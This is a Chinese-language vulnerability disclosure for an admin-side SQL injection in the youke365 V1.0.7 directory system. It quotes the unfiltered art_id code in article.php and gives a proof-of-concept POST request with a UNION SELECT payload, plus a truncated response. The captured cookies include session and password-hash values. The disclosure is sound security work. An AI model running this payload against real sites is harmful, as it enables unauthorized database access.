youke365 V1.0.7 最新版 后台SQL注入

漏洞简介

优客365网站分类导航系统是个跨平台的开源软件，基于PHP+MYSQL开发构建的开源网站分类目录管理系统。 优客365网站分类导航系统app/admin/controller/article.php页面存在SQL注入漏洞，该漏洞是由于系统未对用户输入的参数进行充分过滤。攻击者可利用该漏洞获取数据库敏感信息。

漏洞分析

漏洞在文件/app/admin/controller/article.php 153行 move操作。

```
/** move */
if ($action == 'move') {
    $pagetitle = '移动文章';

    $art_ids = I($_POST['art_id'],$_GET['art_id']);
    if (empty($art_ids)) {
        msgbox('请选择要移动的文章！');
    }
    $aids = dimplode($art_ids);

    $category_option = get_category_option('article', 0, 0, 0);
    $articles = $Db->query("SELECT art_id, art_title FROM $table WHERE art_id IN
($aids)");

    $smarty->assign('category_option', $category_option);
    $smarty->assign('articles', $articles);
    $smarty->assign('h_action', 'savemove');
}
```

从代码中可以看到 `$art_ids = I($_POST['art_id'],$_GET['art_id']);`，$art_ids 参数直接从post 或者 get方法获取，然后没有经过过滤直接拼接到 SQL语句，导致SQL注入漏洞。

##漏洞证明

用管理员账号登录网站后台，进入文章列表页面，选定任意两个文章，然后选择移动内容，用burpsuite拦截数据包。然后修改后面 `art_id[]=` 参数的值为payload：0') and union select 1,databse()#，然后重新发包，返回的响应内容会爆出当前数据库名称。

Request

Raw | Params | Headers | Hex

```
POST /admin/article.html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost/admin/article.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: abc=test;
user_auth=19dC04t%2FeTNzdpudKnXlcMdw0v4cJlQMPifPR%2BEAgK%2BvIsOZIaTe4VdH6Hg2d0CgXoSdw0C4AW32WQ
s; Hm_lvt_7b43130e4da4af4153e553980ee8af2=1531859260; bdshare_firstime=1532072101297;
UserName=test; PassWord=4297f44b13955235245b2497399d7a93;
Hm_lvt_fff57dc3416ca514057b76d8b1b5037e=1532077594; tm=143bfcbbcb3ZIOic7c63G284bc5ffef5;
pfm_uuid=ee58d2141203407708c7d5b1c412a5e; cmcms_admin_id=miJ658oEZiNG;
cmcms_admin_login=D3MQOmlZW8pnXAP4XFFNSOBCjmVr4kQ2AbLqs77qaEwn4cjP5llw;
workspaceParams=index%7Cfilemanager; page_iframe_url=http://localhost/index.php?lang=cn&pageset=1;
UM_distinctid=164efdcd1ed8e-0c803d4f90156a-4c312b7b-1fa400-164efdcd1ee197;
CNZZDATA1257188923=1280433513-1531021504-%7C1531080391; abc=test;
PHPSESSID=37d27am01695ufci5kf3uio13
Connection: close
Upgrade-Insecure-Requests: 1

act=move&art_id%5B%5D=0&art_id%5B%5D=-1') union select 1,database()#
```

Response

Raw | Headers | Hex | HTML | Render

```
X-Frame-Options: SAMEORIGIN
Set-Cookie: abc=test; httponly
Content-Length: 2546
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>□□□□</title>
<meta name="author" content="http://www.youke365.site" />
<link href="/public/bootstrap/css/bootstrap.min.css" rel="stylesheet">

<link href="/public/layui/css/layui.css" rel="stylesheet" type="text/css" />
<link href="/public/font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />
<link href="/public/js/treeview.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="/public/js/jquery.min.js"></script>
<script src="/public/bootstrap/js/bootstrap.min.js"></script>
<script src="/public/layui/layui.js" charset="utf-8"></script>


<!--[ webuploader CSS-->
<link rel="stylesheet" type="text/css" href="/public/webuploader/webuploader.css">

<!--[ webuploader JS-->
<script type="text/javascript" src="/public/webuploader/webuploader.js"></script>

<script type="text/javascript" src="/public/js/jquery.treeview.js"></script>
<script type="text/javascript" src="/public/editor/kindeditor-min.js"></script>
<script type="text/javascript" src="/public/editor/lang/zh_CN.js"></script>

<!-- <link href="/public/assets/css/admin.css" rel="stylesheet" type="text/css" /> -->
<link href="/public/admin/skin/css/global.css" rel="stylesheet" type="text/css" />
<link href="/public/admin/skin/css/iframe.css" rel="stylesheet" type="text/css" />
<link href="/public/admin/skin/css/page.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="/public/admin/skin/js/admin.js"></script>
<link rel="shortcut icon" href="favicon.ico">


</head>

<body>
<div id="wrapper">


        <h1 class="title"><em>□□□□</em><span><a href="/admin/article.html">□□□□&raquo;</a></span></h1>
    <div class="formbox">
        <form name="mform" method="post" action="/admin/article.html">
        <table width="100%" border="0" cellspacing="1" cellpadding="0">
            <tr>
                <th valign="top">□□□□□□□</th>
                <td><a href="/admin/article.html&act=edit&art_id=1'-youke365-'a><input name="art_id[]" type="hidden" value="">&nbr /></td>
            </tr>
            <tr>
```